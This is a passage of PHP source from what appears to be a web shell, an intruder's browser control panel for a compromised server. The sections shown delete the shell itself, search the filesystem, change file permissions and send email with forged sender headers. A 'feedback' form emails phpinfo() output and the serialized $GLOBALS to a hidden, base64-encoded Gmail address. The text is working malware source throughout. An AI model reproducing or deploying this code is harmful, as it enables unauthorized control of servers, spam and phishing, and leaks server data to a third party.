($i=0;$i<$c;$i++) { $hex = dechex(ord($encoder_input[$i])); if ($encoder_input[$i] == "&") { echo $encoder_input[$i]; } elseif ($encoder_input[$i] != "\\") { echo "%".$hex; } } echo "\" readonly>\n"; ?> </td></tr> </table> </form> <?php } ##[ FILESYSTEM BUFFER ]## if ($act == "fsbuff") { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} else { $fx_infohead = "File-System Buffer"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls"; } } ##[ SELF REMOVE ]## if ($act == "selfremove") { ?> <div class="barheader"> .: SELF KILL :. <hr size="1" noshade> <?php if ((@$submit == @$rndcode) && (@$submit != "")) { if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".sh_name()."!"; fx29shexit(); } else { disp_error("Can't delete ".__FILE__."!"); } } else { if (!empty($rndcode)) { disp_error("Error: Incorrect confirmation code!"); } $rnd = rand(0,9).rand(0,9).rand(0,9); ?> <form name="f_killshell" action="<?php echo $surl; ?>"> <input type="hidden" name="act" value="selfremove"> <input type="hidden" name="rndcode" value="<?php echo $rnd; ?>"> Are you sure want to remove this shell ?<br> <?php disp_error(__FILE__); ?> <br>For confirmation, enter "<?php echo $rnd; ?>"<br> <input type="text" name="submit"><br> <input type="submit" value="KILL"> </form> </div> <?php } } ##[ FEEDBACK ]## if ($act == "feedback") { $suppmail = base64_decode("c2V0b3IudGFyZ2V0QGdtYWlsLmNvbQ=="); if (!empty($submit)) { $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = sh_name()." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; } mail($suppmail,sh_name()." feedback #".$ticket,$body,"FROM: ".$suppmail); echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; } else { ?> <div class="barheader">.: Feedback or report bug (<?php echo str_replace(array("@","."),array("[at]","[dot]"),$suppmail); ?>) :.</div> <form name="f_feedback" action="<?php echo $surl; ?>" method="POST"> <input type="hidden" name="act" value="feedback"> <table class="contents"> <tr><th>Your name:</th><td><input type="text" name="fdbk_name" value="<?php echo htmlspecialchars(@$fdbk_name); ?>"></td</tr> <tr><th>Your e-mail:</th><td><input type="text" name="fdbk_email" value="<?php echo htmlspecialchars(@$fdbk_email); ?>"></td></tr> <tr><th>Message:</th><td><textarea name="fdbk_body" cols=80 rows=10><?php echo htmlspecialchars(@$fdbk_body); ?></textarea> <input type="hidden" name="fdbk_ref" value="<?php echo urlencode($HTTP_REFERER); ?>"><br> <input type="checkbox" name="fdbk_servinf" value="1" checked> Attach Server info (Recommended for bug-fix)</td></tr> <tr><td></td><td><input type="submit" name="submit" value="Send"></td></tr> </table> </form> <?php } } ##[ PHP MAILER (By FaTaLisTiCz_Fx) ]## if ($act == "fxmailer") { ?> <div class="barheader">.: Mailer :.</div> <?php if (!empty($submit)){ $headers = 'To: '.$dest_email."\n"; $headers .= 'From: '.$sender_name.' '.$sender_email."\n"; if (mail($dest_email,$sender_subj,$sender_body,$headers)) { echo "<center><b>Email sent to $dest_email!</b></center>"; } else { disp_error("Can't send email!"); } } else { ?> <form name="f_mailer" action="<?php echo $surl; ?>" method="POST"> <input type="hidden" name="act" value="fxmailer"> <table class="contents"> <tr><th>Your name:</th><td><input type="text" name="sender_name" value="<?php echo @htmlspecialchars($sender_name); ?>"></td></tr> <tr><th>Your e-mail:</th><td><input type="text" name="sender_email" value="<?php echo @htmlspecialchars($sender_email); ?>"></td></tr> <tr><th>To:</th><td><input type="text" name="dest_email" value="<?php @htmlspecialchars($dest_email); ?>"></td></tr> <tr><th>Subject:</th><td><input size="70" type="text" name="sender_subj" value="<?php echo @htmlspecialchars($sender_subj); ?>"></td></tr> <tr><th>Message:</th><td><textarea name="sender_body" cols="80" rows="10"><?php echo @htmlspecialchars($sender_body); ?></textarea></td></tr> <tr><th></th><td><input type="submit" name="submit" value="Send"></td></tr> </table> </form> <?php } } ##[ SEARCH ]## if ($act == "search") { ?> <div class=barheader>.: Filesystem Search :.</div> <?php if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array( "name"	=> @$search_name, "name_regexp"	=> @$search_name_regexp, "text"	=> @$search_text, "text_regexp"	=> @$search_text_regxp, "text_wwo"	=> @$search_text_wwo, "text_cs"	=> @$search_text_cs, "text_not"	=> @$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) { fx29fsearch($v); } $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) { echo "No files found!"; } else { $ls_arr = $found; $disp_fullpath = TRUE; $act = "ls"; } } ?> <form name="f_search" method="POST"> <input type="hidden" name="d" value="<?php echo $dispd; ?>"> <input type="hidden" name="act" value="<?php echo $dspact; ?>"> <table class="contents"> <tr><th>File or folder Name:</th><td><input type="text" name="search_name" size="<?php echo round(strlen($search_name)+25); ?>" value="<?php echo htmlspecialchars($search_name); ?>"> <input type="checkbox" name="search_name_regexp" value="1" <?php echo (@$search_name_regexp == 1?" checked":""); ?>> Regular Expression</td></tr> <tr><th>Look in (Separate by ";"):</th><td><input type="text" name="search_in" size="<?php echo round(strlen($search_in)+25); ?>" value="<?php echo htmlspecialchars($search_in); ?>"></td></tr> <tr><th>A word or phrase in the file:</th><td><textarea name="search_text" cols="50" rows="5"><?php echo htmlspecialchars(@$search_text); ?></textarea></td></tr> <tr><th></th><td> <input type="checkbox" name="search_text_regexp" value="1" <?php echo (@$search_text_regexp == 1?" checked":""); ?>> Regular Expression <input type="checkbox" name="search_text_wwo" value="1" <?php echo (@$search_text_wwo == 1?" checked":""); ?>> Whole words only <input type="checkbox" name="search_text_cs" value="1" <?php echo (@$search_text_cs == 1?" checked":""); ?>> Case sensitive <input type="checkbox" name="search_text_not" value="1" <?php echo (@$search_text_not == 1?" checked":""); ?>> Find files NOT containing the text </td></tr> <tr><th></th><td><input type="submit" name="submit" value="Search"></td></tr> </table> </form> <?php if ($act == "ls") { $dspact = $act; echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>\n". "<hr size=\"1\" noshade>\n"; } } ##[ CHMOD]## if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b>\n". "<br>".($err?"<b>Error:</b> ".$err:"")."\n". "<form name=\"f_chmod\" action=\"".$surl."\" method=POST>\n". "<input type=hidden name=d value=\"".htmlspecialchars($d)."\">\n". "<input type=hidden name=f value=\"".htmlspecialchars($f)."\">\n". "<input type=hidden name=act value=chmod>\n". "<table><tr>\n". "<td><b>Owner</b><br><br>\n". "<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br>\n". "<